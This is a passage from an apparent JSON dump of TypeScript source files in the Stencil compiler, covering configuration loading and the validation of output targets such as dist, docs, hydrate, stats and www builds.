createWatcher,\n    destroy,\n    sys,\n  };\n\n  config.logger.printDiagnostics(diagnostics);\n\n  return compiler;\n};\n"
  },
  {
    "path": "src/compiler/config/config-utils.ts",
    "content": "import { isBoolean, join } from '@utils';\nimport { isAbsolute } from 'path';\n\nimport type { ConfigFlags } from '../../cli/config-flags';\nimport type * as d from '../../declarations';\n\nexport const getAbsolutePath = (config: d.ValidatedConfig, dir: string) => {\n  if (!isAbsolute(dir)) {\n    dir = join(config.rootDir, dir);\n  }\n  return dir;\n};\n\n/**\n * This function does two things:\n *\n * 1. If you pass a `flagName`, it will hoist that `flagName` out of the\n *    `ConfigFlags` object and onto the 'root' level (if you will) of the\n *    `config` under the `configName` (`keyof d.Config`) that you pass.\n * 2. If you _don't_  pass a `flagName` it will just set the value you supply\n *    on the config.\n *\n * @param config the config that we want to update\n * @param configName the key we're setting on the config\n * @param flagName either the name of a ConfigFlag prop we want to hoist up or null\n * @param defaultValue the default value we should set!\n */\nexport const setBooleanConfig = <K extends keyof d.Config>(\n  config: d.UnvalidatedConfig,\n  configName: (K & keyof ConfigFlags) | K,\n  flagName: keyof ConfigFlags | null,\n  defaultValue: d.Config[K],\n) => {\n  if (flagName) {\n    const flagValue = config.flags?.[flagName];\n    if (isBoolean(flagValue)) {\n      config[configName] = flagValue;\n    }\n  }\n\n  const userConfigName = getUserConfigName(config, configName);\n\n  if (typeof config[userConfigName] === 'function') {\n    config[userConfigName] = !!config[userConfigName]();\n  }\n\n  if (isBoolean(config[userConfigName])) {\n    config[configName] = config[userConfigName];\n  } else {\n    config[configName] = defaultValue;\n  }\n};\n\n/**\n * Find any possibly mis-capitalized configuration names on the config, logging\n * and warning if one is found.\n *\n * @param config the user-supplied config that we're dealing with\n * @param correctConfigName the configuration name that we're checking for right now\n * @returns a string container a mis-capitalized config name found on the\n * config object, if any.\n */\nconst getUserConfigName = (config: d.UnvalidatedConfig, correctConfigName: keyof d.Config): string => {\n  const userConfigNames = Object.keys(config);\n\n  for (const userConfigName of userConfigNames) {\n    if (userConfigName.toLowerCase() === correctConfigName.toLowerCase()) {\n      if (userConfigName !== correctConfigName) {\n        config.logger?.warn(`config \"${userConfigName}\" should be \"${correctConfigName}\"`);\n        return userConfigName;\n      }\n      break;\n    }\n  }\n\n  return correctConfigName;\n};\n"
  },
  {
    "path": "src/compiler/config/constants.ts",
    "content": "import type * as d from '../../declarations';\n\ntype DefaultTargetComponentConfig = d.Config['docs']['markdown']['targetComponent'];\n\nexport const DEFAULT_DEV_MODE = false;\nexport const DEFAULT_HASHED_FILENAME_LENGTH = 8;\nexport const MIN_HASHED_FILENAME_LENGTH = 4;\nexport const MAX_HASHED_FILENAME_LENGTH = 32;\nexport const DEFAULT_NAMESPACE = 'App';\nexport const DEFAULT_TARGET_COMPONENT_STYLES: DefaultTargetComponentConfig = {\n  background: '#f9f',\n  textColor: '#333',\n};\n"
  },
  {
    "path": "src/compiler/config/load-config.ts",
    "content": "import { createNodeSys } from '@sys-api-node';\nimport { buildError, catchError, hasError, isString, normalizePath } from '@utils';\nimport { dirname } from 'path';\n\nimport type { Diagnostic, LoadConfigInit, LoadConfigResults, UnvalidatedConfig } from '../../declarations';\nimport { nodeRequire } from '../sys/node-require';\nimport { validateTsConfig } from '../sys/typescript/typescript-config';\nimport { validateConfig } from './validate-config';\n\n/**\n * Load and validate a configuration to use throughout the lifetime of any Stencil task (build, test, etc.).\n *\n * Users can provide configurations multiple ways simultaneously:\n * - as an object of the `init` argument to this function\n * - through a path to a configuration file that exists on disk\n *\n * In the case of both being present, the two configurations will be merged. The fields of the former will take precedence\n * over the fields of the latter.\n *\n * @param init the initial configuration provided by the user (or generated by Stencil) used to bootstrap configuration\n * loading and validation\n * @returns the results of loading a configuration\n * @public\n */\nexport const loadConfig = async (init: LoadConfigInit = {}): Promise<LoadConfigResults> => {\n  const results: LoadConfigResults = {\n    config: null,\n    diagnostics: [],\n    tsconfig: {\n      path: null,\n      compilerOptions: null,\n      files: null,\n      include: null,\n      exclude: null,\n      extends: null,\n    },\n  };\n\n  const unknownConfig: UnvalidatedConfig = {};\n\n  try {\n    const config = init.config || {};\n    let configPath = init.configPath || config.configPath;\n\n    // Pull the {@link CompilerSystem} out of the initialization object, or create one if it does not exist.\n    // This entity is needed to load the project's configuration (and therefore needs to be created before it can be\n    // attached to a configuration entity, validated or otherwise)\n    const sys = init.sys ?? createNodeSys();\n\n    const loadedConfigFile = await loadConfigFile(results.diagnostics, configPath);\n    if (hasError(results.diagnostics)) {\n      return results;\n    }\n\n    if (loadedConfigFile !== null) {\n      // merge the user's config object into their loaded config file\n      configPath = loadedConfigFile.configPath;\n      unknownConfig.config = { ...loadedConfigFile, ...config };\n      unknownConfig.config.configPath = configPath;\n      unknownConfig.config.rootDir =\n        typeof config.rootDir === 'string' ? config.rootDir : normalizePath(dirname(configPath));\n    } else {\n      // no stencil.config.ts or .js file, which is fine\n      unknownConfig.config = { ...config };\n      unknownConfig.config.configPath = null;\n      unknownConfig.config.rootDir = normalizePath(sys.getCurrentDirectory());\n    }\n\n    unknownConfig.config.sys = sys;\n\n    const validated = validateConfig(unknownConfig.config, init);\n    results.diagnostics.push(...validated.diagnostics);\n    if (hasError(results.diagnostics)) {\n      return results;\n    }\n\n    results.config = validated.config;\n\n    if (!hasError(results.diagnostics)) {\n      const tsConfigResults = await validateTsConfig(results.config, sys, init);\n      results.diagnostics.push(...tsConfigResults.diagnostics);\n\n      results.config.tsconfig = tsConfigResults.path;\n      results.config.tsCompilerOptions = tsConfigResults.compilerOptions;\n      results.config.tsWatchOptions = tsConfigResults.watchOptions;\n\n      results.tsconfig.path = tsConfigResults.path;\n      results.tsconfig.compilerOptions = JSON.parse(JSON.stringify(tsConfigResults.compilerOptions));\n      results.tsconfig.files = tsConfigResults.files;\n      results.tsconfig.include = tsConfigResults.include;\n      results.tsconfig.exclude = tsConfigResults.exclude;\n      results.tsconfig.extends = tsConfigResults.extends;\n    }\n  } catch (e: any) {\n    catchError(results.diagnostics, e);\n  }\n\n  return results;\n};\n\n/**\n * Load a Stencil configuration file from disk\n *\n * @param diagnostics a series of diagnostics used to track errors & warnings\n * throughout the loading process. Entries may be added to this list in the\n * event of an error.\n * @param configPath the path to the configuration file to load\n * @returns an unvalidated configuration. In the event of an error, additional\n * diagnostics may be pushed to the provided `diagnostics` argument and `null`\n * will be returned.\n */\nconst loadConfigFile = async (diagnostics: Diagnostic[], configPath: string): Promise<UnvalidatedConfig | null> => {\n  let config: UnvalidatedConfig | null = null;\n\n  if (isString(configPath)) {\n    // the passed in config was a string, so it's probably a path to the config we need to load\n    const configFileData = await evaluateConfigFile(diagnostics, configPath);\n    if (hasError(diagnostics)) {\n      return config;\n    }\n\n    if (!configFileData.config) {\n      const err = buildError(diagnostics);\n      err.messageText = `Invalid Stencil configuration file \"${configPath}\". Missing \"config\" property.`;\n      err.absFilePath = configPath;\n      return config;\n    }\n    config = configFileData.config;\n    config.configPath = normalizePath(configPath);\n  }\n\n  return config;\n};\n\n/**\n * Load the configuration file, based on the environment that Stencil is being run in\n *\n * @param diagnostics a series of diagnostics used to track errors & warnings\n * throughout the loading process. Entries may be added to this list in the\n * event of an error.\n * @param configFilePath the path to the configuration file to load\n * @returns an unvalidated configuration. In the event of an error, additional\n * diagnostics may be pushed to the provided `diagnostics` argument and `null`\n * will be returned.\n */\nconst evaluateConfigFile = async (\n  diagnostics: Diagnostic[],\n  configFilePath: string,\n): Promise<{ config?: UnvalidatedConfig } | null> => {\n  let configFileData: { config?: UnvalidatedConfig } | null = null;\n\n  try {\n    const results = nodeRequire(configFilePath);\n    diagnostics.push(...results.diagnostics);\n    configFileData = results.module;\n  } catch (e: any) {\n    catchError(diagnostics, e);\n  }\n\n  return configFileData;\n};\n"
  },
  {
    "path": "src/compiler/config/outputs/index.ts",
    "content": "import { buildError, isValidConfigOutputTarget, VALID_CONFIG_OUTPUT_TARGETS } from '@utils';\n\nimport type * as d from '../../../declarations';\nimport { validateCollection } from './validate-collection';\nimport { validateCustomElement } from './validate-custom-element';\nimport { validateCustomOutput } from './validate-custom-output';\nimport { validateDist } from './validate-dist';\nimport { validateDocs } from './validate-docs';\nimport { validateHydrateScript } from './validate-hydrate-script';\nimport { validateLazy } from './validate-lazy';\nimport { validateStats } from './validate-stats';\nimport { validateWww } from './validate-www';\n\nexport const validateOutputTargets = (config: d.ValidatedConfig, diagnostics: d.Diagnostic[]) => {\n  const userOutputs = (config.outputTargets || []).slice();\n\n  userOutputs.forEach((outputTarget) => {\n    if (!isValidConfigOutputTarget(outputTarget.type)) {\n      const err = buildError(diagnostics);\n      err.messageText = `Invalid outputTarget type \"${\n        outputTarget.type\n      }\". Valid outputTarget types include: ${VALID_CONFIG_OUTPUT_TARGETS.map((t) => `\"${t}\"`).join(', ')}`;\n    }\n  });\n\n  config.outputTargets = [\n    ...validateCollection(config, userOutputs),\n    ...validateCustomElement(config, userOutputs),\n    ...validateCustomOutput(config, diagnostics, userOutputs),\n    ...validateLazy(config, userOutputs),\n    ...validateWww(config, diagnostics, userOutputs),\n    ...validateDist(config, userOutputs),\n    ...validateDocs(config, diagnostics, userOutputs),\n    ...validateStats(config, userOutputs),\n  ];\n\n  // hydrate also gets info from the www output\n  config.outputTargets = [\n    ...config.outputTargets,\n    ...validateHydrateScript(config, [...userOutputs, ...config.outputTargets]),\n  ];\n};\n"
  },
  {
    "path": "src/compiler/config/outputs/validate-collection.ts",
    "content": "import { isBoolean, isOutputTargetDistCollection } from '@utils';\n\nimport type * as d from '../../../declarations';\nimport { getAbsolutePath } from '../config-utils';\n\n/**\n * Validate and return DIST_COLLECTION output targets, ensuring that the `dir`\n * property is set on them.\n *\n * @param config a validated configuration object\n * @param userOutputs an array of output targets\n * @returns an array of validated DIST_COLLECTION output targets\n */\nexport const validateCollection = (\n  config: d.ValidatedConfig,\n  userOutputs: d.OutputTarget[],\n): d.OutputTargetDistCollection[] => {\n  return userOutputs.filter(isOutputTargetDistCollection).map((outputTarget) => {\n    return {\n      ...outputTarget,\n      transformAliasedImportPaths: isBoolean(outputTarget.transformAliasedImportPaths)\n        ? outputTarget.transformAliasedImportPaths\n        : true,\n      dir: getAbsolutePath(config, outputTarget.dir ?? 'dist/collection'),\n    };\n  });\n};\n"
  },
  {
    "path": "src/compiler/config/outputs/validate-custom-element.ts",
    "content": "import { COPY, DIST_TYPES, isBoolean, isOutputTargetDistCustomElements, join } from '@utils';\n\nimport type {\n  OutputTarget,\n  OutputTargetCopy,\n  OutputTargetDistCustomElements,\n  OutputTargetDistTypes,\n  ValidatedConfig,\n} from '../../../declarations';\nimport { CustomElementsExportBehaviorOptions } from '../../../declarations';\nimport { getAbsolutePath } from '../config-utils';\nimport { validateCopy } from '../validate-copy';\n\n/**\n * Validate one or more `dist-custom-elements` output targets. Validation of an output target may involve back-filling\n * fields that are omitted with sensible defaults and/or creating additional supporting output targets that were not\n * explicitly defined by the user\n * @param config the Stencil configuration associated with the project being compiled\n * @param userOutputs the output target(s) specified by the user\n * @returns the validated output target(s)\n */\nexport const validateCustomElement = (\n  config: ValidatedConfig,\n  userOutputs: ReadonlyArray<OutputTarget>,\n): ReadonlyArray<OutputTargetDistCustomElements | OutputTargetDistTypes | OutputTargetCopy> => {\n  const defaultDir = 'dist';\n\n  return userOutputs.filter(isOutputTargetDistCustomElements).reduce(\n    (outputs, o) => {\n      const outputTarget = {\n        ...o,\n        dir: getAbsolutePath(config, o.dir || join(defaultDir, 'components')),\n      };\n      if (!isBoolean(outputTarget.empty)) {\n        outputTarget.empty = true;\n      }\n      if (!isBoolean(outputTarget.externalRuntime)) {\n        outputTarget.externalRuntime = true;\n      }\n      if (!isBoolean(outputTarget.generateTypeDeclarations)) {\n        outputTarget.generateTypeDeclarations = true;\n      }\n      // Export behavior must be defined on the validated target config and must\n      // be one of the export behavior valid values\n      if (\n        outputTarget.customElementsExportBehavior == null ||\n        !CustomElementsExportBehaviorOptions.includes(outputTarget.customElementsExportBehavior)\n      ) {\n        outputTarget.customElementsExportBehavior = 'default';\n      }\n\n      // Normalize autoLoader option\n      if (outputTarget.autoLoader === true) {\n        outputTarget.autoLoader = {\n          fileName: 'loader',\n          autoStart: true,\n        };\n      } else if (outputTarget.autoLoader && typeof outputTarget.autoLoader === 'object') {\n        outputTarget.autoLoader = {\n          fileName: outputTarget.autoLoader.fileName || 'loader',\n          autoStart: outputTarget.autoLoader.autoStart !== false,\n        };\n      }\n\n      // unlike other output targets, Stencil does not allow users to define the output location of types at this time\n      if (outputTarget.generateTypeDeclarations) {\n        const typesDirectory = getAbsolutePath(config, join(defaultDir, 'types'));\n        outputs.push({\n          type: DIST_TYPES,\n          dir: outputTarget.dir,\n          typesDir: typesDirectory,\n        });\n      }\n\n      outputTarget.copy = validateCopy(outputTarget.copy, []);\n\n      if (outputTarget.copy.length > 0) {\n        outputs.push({\n          type: COPY,\n          dir: config.rootDir,\n          copy: [...outputTarget.copy],\n        });\n      }\n      outputs.push(outputTarget);\n\n      return outputs;\n    },\n    [] as (OutputTargetDistCustomElements | OutputTargetCopy | OutputTargetDistTypes)[],\n  );\n};\n"
  },
  {
    "path": "src/compiler/config/outputs/validate-custom-output.ts",
    "content": "import { catchError, COPY, isOutputTargetCustom } from '@utils';\n\nimport type * as d from '../../../declarations';\n\nexport const validateCustomOutput = (\n  config: d.ValidatedConfig,\n  diagnostics: d.Diagnostic[],\n  userOutputs: d.OutputTarget[],\n) => {\n  return userOutputs.filter(isOutputTargetCustom).map((o) => {\n    if (o.validate) {\n      const localDiagnostics: d.Diagnostic[] = [];\n      try {\n        o.validate(config, diagnostics);\n      } catch (e: any) {\n        catchError(localDiagnostics, e);\n      }\n      if (o.copy && o.copy.length > 0) {\n        config.outputTargets.push({\n          type: COPY,\n          dir: config.rootDir,\n          copy: [...o.copy],\n        });\n      }\n      diagnostics.push(...localDiagnostics);\n    }\n    return o;\n  });\n};\n"
  },
  {
    "path": "src/compiler/config/outputs/validate-dist.ts",
    "content": "import {\n  COPY,\n  DIST_COLLECTION,\n  DIST_GLOBAL_STYLES,\n  DIST_LAZY,\n  DIST_LAZY_LOADER,\n  DIST_TYPES,\n  getComponentsDtsTypesFilePath,\n  isBoolean,\n  isOutputTargetDist,\n  isString,\n  join,\n  resolve,\n} from '@utils';\nimport { isAbsolute } from 'path';\n\nimport type * as d from '../../../declarations';\nimport { getAbsolutePath } from '../config-utils';\nimport { validateCopy } from '../validate-copy';\n\n/**\n * Validate that the \"dist\" output targets are valid and ready to go.\n *\n * This function will also add in additional output targets to its output, based on the input supplied.\n *\n * @param config the compiler config, what else?\n * @param userOutputs a user-supplied list of output targets.\n * @returns a list of OutputTargets which have been validated for us.\n */\nexport const validateDist = (config: d.ValidatedConfig, userOutputs: d.OutputTarget[]): d.OutputTarget[] => {\n  const distOutputTargets = userOutputs.filter(isOutputTargetDist);\n\n  const outputs: d.OutputTarget[] = [];\n\n  for (const outputTarget of distOutputTargets) {\n    const distOutputTarget = validateOutputTargetDist(config, outputTarget);\n    outputs.push(distOutputTarget);\n\n    const namespace = config.fsNamespace || 'app';\n    const lazyDir = join(distOutputTarget.buildDir, namespace);\n\n    // Lazy build for CDN in dist\n    outputs.push({\n      type: DIST_LAZY,\n      esmDir: lazyDir,\n      systemDir: config.buildEs5 ? lazyDir : undefined,\n      systemLoaderFile: config.buildEs5 ? join(lazyDir, namespace + '.js') : undefined,\n      legacyLoaderFile: join(distOutputTarget.buildDir, namespace + '.js'),\n      polyfills: outputTarget.polyfills !== undefined ? !!distOutputTarget.polyfills : true,\n      isBrowserBuild: true,\n      empty: distOutputTarget.empty,\n    });\n    outputs.push({\n      type: COPY,\n      dir: lazyDir,\n      copyAssets: 'dist',\n      copy: (distOutputTarget.copy ?? []).concat(),\n    });\n    outputs.push({\n      type: DIST_GLOBAL_STYLES,\n      file: join(lazyDir, `${config.fsNamespace}.css`),\n    });\n\n    outputs.push({\n      type: DIST_TYPES,\n      dir: distOutputTarget.dir,\n      typesDir: distOutputTarget.typesDir,\n    });\n\n    if (config.buildDist) {\n      if (distOutputTarget.collectionDir) {\n        outputs.push({\n          type: DIST_COLLECTION,\n          dir: distOutputTarget.dir,\n          collectionDir: distOutputTarget.collectionDir,\n          empty: distOutputTarget.empty,\n          transformAliasedImportPaths: distOutputTarget.transformAliasedImportPathsInCollection,\n        });\n        outputs.push({\n          type: COPY,\n          dir: distOutputTarget.collectionDir,\n          copyAssets: 'collection',\n          copy: [...distOutputTarget.copy, { src: '**/*.svg' }, { src: '**/*.js' }],\n        });\n      }\n\n      const esmDir = join(distOutputTarget.dir, 'esm');\n      const esmEs5Dir = config.buildEs5 ? join(distOutputTarget.dir, 'esm-es5') : undefined;\n      const cjsDir = join(distOutputTarget.dir, 'cjs');\n\n      // Create lazy output-target\n      outputs.push({\n        type: DIST_LAZY,\n        esmDir,\n        esmEs5Dir,\n        cjsDir,\n\n        cjsIndexFile: join(distOutputTarget.dir, 'index.cjs.js'),\n        esmIndexFile: join(distOutputTarget.dir, 'index.js'),\n        polyfills: true,\n        empty: distOutputTarget.empty,\n      });\n\n      // Create output target that will generate the /loader entry-point\n      outputs.push({\n        type: DIST_LAZY_LOADER,\n        dir: distOutputTarget.esmLoaderPath,\n\n        esmDir,\n        esmEs5Dir,\n        cjsDir,\n        componentDts: getComponentsDtsTypesFilePath(distOutputTarget),\n        empty: distOutputTarget.empty,\n      });\n    }\n  }\n\n  return outputs;\n};\n\n/**\n * Validate that an OutputTargetDist object has what it needs to do it's job.\n * To enforce this, we have this function return\n * `Required<d.OutputTargetDist>`, giving us a compile-time check that all\n * properties are defined (with either user-supplied or default values).\n *\n * @param config the current config\n * @param o the OutputTargetDist object we want to validate\n * @returns `Required<d.OutputTargetDist>`, i.e. `d.OutputTargetDist` with all\n * optional properties rendered un-optional.\n */\nconst validateOutputTargetDist = (config: d.ValidatedConfig, o: d.OutputTargetDist): Required<d.OutputTargetDist> => {\n  // we need to create an object with a bunch of default values here so that\n  // the typescript compiler can infer their types correctly\n  const outputTarget = {\n    ...o,\n    dir: getAbsolutePath(config, o.dir || DEFAULT_DIR),\n    buildDir: isString(o.buildDir) ? o.buildDir : DEFAULT_BUILD_DIR,\n    collectionDir: o.collectionDir !== undefined ? o.collectionDir : DEFAULT_COLLECTION_DIR,\n    typesDir: o.typesDir || DEFAULT_TYPES_DIR,\n    esmLoaderPath: o.esmLoaderPath || DEFAULT_ESM_LOADER_DIR,\n    copy: validateCopy(o.copy ?? [], []),\n    polyfills: isBoolean(o.polyfills) ? o.polyfills : false,\n    empty: isBoolean(o.empty) ? o.empty : true,\n    transformAliasedImportPathsInCollection: isBoolean(o.transformAliasedImportPathsInCollection)\n      ? o.transformAliasedImportPathsInCollection\n      : true,\n    isPrimaryPackageOutputTarget: o.isPrimaryPackageOutputTarget ?? false,\n  } satisfies Required<d.OutputTargetDist>;\n\n  if (!isAbsolute(outputTarget.buildDir)) {\n    outputTarget.buildDir = join(outputTarget.dir, outputTarget.buildDir);\n  }\n\n  if (outputTarget.collectionDir && !isAbsolute(outputTarget.collectionDir)) {\n    outputTarget.collectionDir = join(outputTarget.dir, outputTarget.collectionDir);\n  }\n\n  if (!isAbsolute(outputTarget.esmLoaderPath)) {\n    outputTarget.esmLoaderPath = resolve(outputTarget.dir, outputTarget.esmLoaderPath);\n  }\n\n  if (!isAbsolute(outputTarget.typesDir)) {\n    outputTarget.typesDir = join(outputTarget.dir, outputTarget.typesDir);\n  }\n\n  return outputTarget;\n};\n\nconst DEFAULT_DIR = 'dist';\nconst DEFAULT_BUILD_DIR = '';\nconst DEFAULT_COLLECTION_DIR = 'collection';\nconst DEFAULT_TYPES_DIR = 'types';\nconst DEFAULT_ESM_LOADER_DIR = 'loader';\n"
  },
  {
    "path": "src/compiler/config/outputs/validate-docs.ts",
    "content": "import {\n  buildError,\n  DOCS_JSON,\n  DOCS_README,\n  isFunction,\n  isOutputTargetDocsCustom,\n  isOutputTargetDocsCustomElementsManifest,\n  isOutputTargetDocsJson,\n  isOutputTargetDocsReadme,\n  isOutputTargetDocsVscode,\n  isString,\n  join,\n} from '@utils';\nimport { isAbsolute } from 'path';\n\nimport type * as d from '../../../declarations';\nimport { NOTE } from '../../docs/constants';\n\nexport const validateDocs = (config: d.ValidatedConfig, diagnostics: d.Diagnostic[], userOutputs: d.OutputTarget[]) => {\n  const docsOutputs: d.OutputTarget[] = [];\n\n  // json docs flag\n  if (isString(config.flags.docsJson)) {\n    docsOutputs.push(\n      validateJsonDocsOutputTarget(config, diagnostics, {\n        type: DOCS_JSON,\n        file: config.flags.docsJson,\n      }),\n    );\n  }\n\n  // json docs\n  const jsonDocsOutputs = userOutputs.filter(isOutputTargetDocsJson);\n  jsonDocsOutputs.forEach((jsonDocsOutput) => {\n    docsOutputs.push(validateJsonDocsOutputTarget(config, diagnostics, jsonDocsOutput));\n  });\n\n  // readme docs flag\n  if (config.flags.docs || config.flags.task === 'docs') {\n    if (!userOutputs.some(isOutputTargetDocsReadme)) {\n      // didn't provide a docs config, so let's add one\n      docsOutputs.push(validateReadmeOutputTarget(config, { type: DOCS_README }));\n    }\n  }\n\n  // readme docs\n  const readmeDocsOutputs = userOutputs.filter(isOutputTargetDocsReadme);\n  readmeDocsOutputs.forEach((readmeDocsOutput) => {\n    docsOutputs.push(validateReadmeOutputTarget(config, readmeDocsOutput));\n  });\n\n  // custom docs\n  const customDocsOutputs = userOutputs.filter(isOutputTargetDocsCustom);\n  customDocsOutputs.forEach((jsonDocsOutput) => {\n    docsOutputs.push(validateCustomDocsOutputTarget(diagnostics, jsonDocsOutput));\n  });\n\n  // vscode docs\n  const vscodeDocsOutputs = userOutputs.filter(isOutputTargetDocsVscode);\n  vscodeDocsOutputs.forEach((vscodeDocsOutput) => {\n    docsOutputs.push(validateVScodeDocsOutputTarget(diagnostics, vscodeDocsOutput));\n  });\n\n  // custom elements manifest docs\n  const customElementsManifestOutputs = userOutputs.filter(isOutputTargetDocsCustomElementsManifest);\n  customElementsManifestOutputs.forEach((cemOutput) => {\n    docsOutputs.push(validateCustomElementsManifestOutputTarget(config, cemOutput));\n  });\n\n  return docsOutputs;\n};\n\nconst validateReadmeOutputTarget = (config: d.ValidatedConfig, outputTarget: d.OutputTargetDocsReadme) => {\n  if (!isString(outputTarget.dir)) {\n    outputTarget.dir = config.srcDir;\n  }\n\n  if (!isAbsolute(outputTarget.dir)) {\n    outputTarget.dir = join(config.rootDir, outputTarget.dir);\n  }\n\n  if (outputTarget.footer == null) {\n    outputTarget.footer = NOTE;\n  }\n  outputTarget.strict = !!outputTarget.strict;\n  return outputTarget;\n};\n\nconst validateJsonDocsOutputTarget = (\n  config: d.ValidatedConfig,\n  diagnostics: d.Diagnostic[],\n  outputTarget: d.OutputTargetDocsJson,\n) => {\n  if (!isString(outputTarget.file)) {\n    const err = buildError(diagnostics);\n    err.messageText = `docs-json outputTarget missing the \"file\" option`;\n  }\n\n  outputTarget.file = join(config.rootDir, outputTarget.file);\n  if (isString(outputTarget.typesFile)) {\n    outputTarget.typesFile = join(config.rootDir, outputTarget.typesFile);\n  } else if (outputTarget.typesFile !== null && outputTarget.file.endsWith('.json')) {\n    outputTarget.typesFile = outputTarget.file.replace(/\\.json$/, '.d.ts');\n  }\n  outputTarget.strict = !!outputTarget.strict;\n  return outputTarget;\n};\n\nconst validateCustomDocsOutputTarget = (diagnostics: d.Diagnostic[], outputTarget: d.OutputTargetDocsCustom) => {\n  if (!isFunction(outputTarget.generator)) {\n    const err = buildError(diagnostics);\n    err.messageText = `docs-custom outputTarget missing the \"generator\" function`;\n  }\n\n  outputTarget.strict = !!outputTarget.strict;\n  return outputTarget;\n};\n\nconst validateVScodeDocsOutputTarget = (diagnostics: d.Diagnostic[], outputTarget: d.OutputTargetDocsVscode) => {\n  if (!isString(outputTarget.file)) {\n    const err = buildError(diagnostics);\n    err.messageText = `docs-vscode outputTarget missing the \"file\" path`;\n  }\n  return outputTarget;\n};\n\nconst validateCustomElementsManifestOutputTarget = (\n  config: d.ValidatedConfig,\n  outputTarget: d.OutputTargetDocsCustomElementsManifest,\n) => {\n  if (!isString(outputTarget.file)) {\n    outputTarget.file = 'custom-elements.json';\n  }\n  outputTarget.file = join(config.rootDir, outputTarget.file);\n  outputTarget.strict = !!outputTarget.strict;\n  return outputTarget;\n};\n"
  },
  {
    "path": "src/compiler/config/outputs/validate-hydrate-script.ts",
    "content": "import {\n  DIST_HYDRATE_SCRIPT,\n  isBoolean,\n  isOutputTargetDist,\n  isOutputTargetHydrate,\n  isOutputTargetWww,\n  isString,\n  join,\n} from '@utils';\nimport { isAbsolute } from 'path';\n\nimport type * as d from '../../../declarations';\n\nexport const validateHydrateScript = (config: d.ValidatedConfig, userOutputs: d.OutputTarget[]) => {\n  const output: d.OutputTargetHydrate[] = [];\n\n  const hasHydrateOutputTarget = userOutputs.some(isOutputTargetHydrate);\n\n  if (!hasHydrateOutputTarget) {\n    // we don't already have a hydrate output target\n    // let's still see if we require one because of other output targets\n\n    const hasWwwOutput = userOutputs.filter(isOutputTargetWww).some((o) => isString(o.indexHtml));\n    const shouldBuildHydrate = config.flags.prerender || config.flags.ssr;\n\n    if (hasWwwOutput && shouldBuildHydrate) {\n      // we're prerendering a www output target, so we'll need a hydrate app\n      let hydrateDir: string;\n      const distOutput = userOutputs.find(isOutputTargetDist);\n      if (distOutput != null && isString(distOutput.dir)) {\n        hydrateDir = join(distOutput.dir, 'hydrate');\n      } else {\n        hydrateDir = 'dist/hydrate';\n      }\n\n      const hydrateForWwwOutputTarget: d.OutputTargetHydrate = {\n        type: DIST_HYDRATE_SCRIPT,\n        dir: hydrateDir,\n      };\n      userOutputs.push(hydrateForWwwOutputTarget);\n    }\n  }\n\n  const hydrateOutputTargets = userOutputs.filter(isOutputTargetHydrate);\n\n  hydrateOutputTargets.forEach((outputTarget) => {\n    if (!isString(outputTarget.dir)) {\n      // no directory given, see if we've got a dist to go off of\n      outputTarget.dir = 'hydrate';\n    }\n\n    if (!isAbsolute(outputTarget.dir)) {\n      outputTarget.dir = join(config.rootDir, outputTarget.dir);\n    }\n\n    if (!isBoolean(outputTarget.empty)) {\n      outputTarget.empty = true;\n    }\n\n    if (!isBoolean(outputTarget.minify)) {\n      outputTarget.minify = false;\n    }\n\n    if (!isBoolean(outputTarget.generatePackageJson)) {\n      outputTarget.generatePackageJson = true;\n    }\n\n    outputTarget.external = outputTarget.external || [];\n\n    outputTarget.external.push('fs');\n    outputTarget.external.push('path');\n    outputTarget.external.push('crypto');\n\n    output.push(outputTarget);\n  });\n\n  return output;\n};\n"
  },
  {
    "path": "src/compiler/config/outputs/validate-lazy.ts",
    "content": "import { DIST_LAZY, isBoolean, isOutputTargetDistLazy, join } from '@utils';\n\nimport type * as d from '../../../declarations';\nimport { getAbsolutePath } from '../config-utils';\n\nexport const validateLazy = (config: d.ValidatedConfig, userOutputs: d.OutputTarget[]) => {\n  return userOutputs.filter(isOutputTargetDistLazy).map((o) => {\n    const dir = getAbsolutePath(config, o.dir || join('dist', config.fsNamespace));\n    const lazyOutput: d.OutputTargetDistLazy = {\n      type: DIST_LAZY,\n      esmDir: dir,\n      systemDir: config.buildEs5 ? dir : undefined,\n      systemLoaderFile: config.buildEs5 ? join(dir, `${config.fsNamespace}.js`) : undefined,\n      polyfills: !!o.polyfills,\n      isBrowserBuild: true,\n      empty: isBoolean(o.empty) ? o.empty : true,\n    };\n    return lazyOutput;\n  });\n};\n"
  },
  {
    "path": "src/compiler/config/outputs/validate-stats.ts",
    "content": "import { isOutputTargetStats, join, STATS } from '@utils';\nimport { isAbsolute } from 'path';\n\nimport type * as d from '../../../declarations';\n\nexport const validateStats = (userConfig: d.ValidatedConfig, userOutputs: d.OutputTarget[]) => {\n  const outputTargets: d.OutputTargetStats[] = [];\n\n  if (userConfig.flags.stats) {\n    const hasOutputTarget = userOutputs.some(isOutputTargetStats);\n    if (!hasOutputTarget) {\n      const statsOutput: d.OutputTargetStats = {\n        type: STATS,\n      };\n\n      // If --stats was provided with a path (string), use it; otherwise use default\n      if (typeof userConfig.flags.stats === 'string') {\n        statsOutput.file = userConfig.flags.stats;\n      }\n\n      outputTargets.push(statsOutput);\n    }\n  }\n\n  outputTargets.push(...userOutputs.filter(isOutputTargetStats));\n  outputTargets.forEach((outputTarget) => {\n    if (!outputTarget.file) {\n      outputTarget.file = 'stencil-stats.json';\n    }\n\n    if (!isAbsolute(outputTarget.file)) {\n      outputTarget.file = join(userConfig.rootDir, outputTarget.file);\n    }\n  });\n\n  return outputTargets;\n};\n"
  },
  {
    "path": "src/compiler/config/outputs/validate-www.ts",
    "content": "import {\n  buildError,\n  COPY,\n  DIST_GLOBAL_STYLES,\n  DIST_LAZY,\n  isBoolean,\n  isOutputTargetDist,\n  isOutputTargetWww,\n  isString,\n  join,\n  WWW,\n} from '@utils';\nimport { isAbsolute } from 'path';\n\nimport type * as d from '../../../declarations';\nimport { getAbsolutePath } from '../config-utils';\nimport { validateCopy } from '../validate-copy';\nimport { validatePrerender } from '../validate-prerender';\nimport { validateServiceWorker } from '../validate-service-worker';\n\nexport const validateWww = (config: d.ValidatedConfig, diagnostics: d.Diagnostic[], userOutputs: d.OutputTarget[]) => {\n  const hasOutputTargets = userOutputs.length > 0;\n  const hasE2eTests = !!config.flags.e2e;\n  const userWwwOutputs = userOutputs.filter(isOutputTargetWww);\n\n  if (\n    !hasOutputTargets ||\n    (hasE2eTests && !userOutputs.some(isOutputTargetWww) && !userOutputs.some(isOutputTargetDist))\n  ) {\n    userWwwOutputs.push({ type: WWW });\n  }\n\n  if (config.flags.prerender && userWwwOutputs.length === 0) {\n    const err = buildError(diagnostics);\n    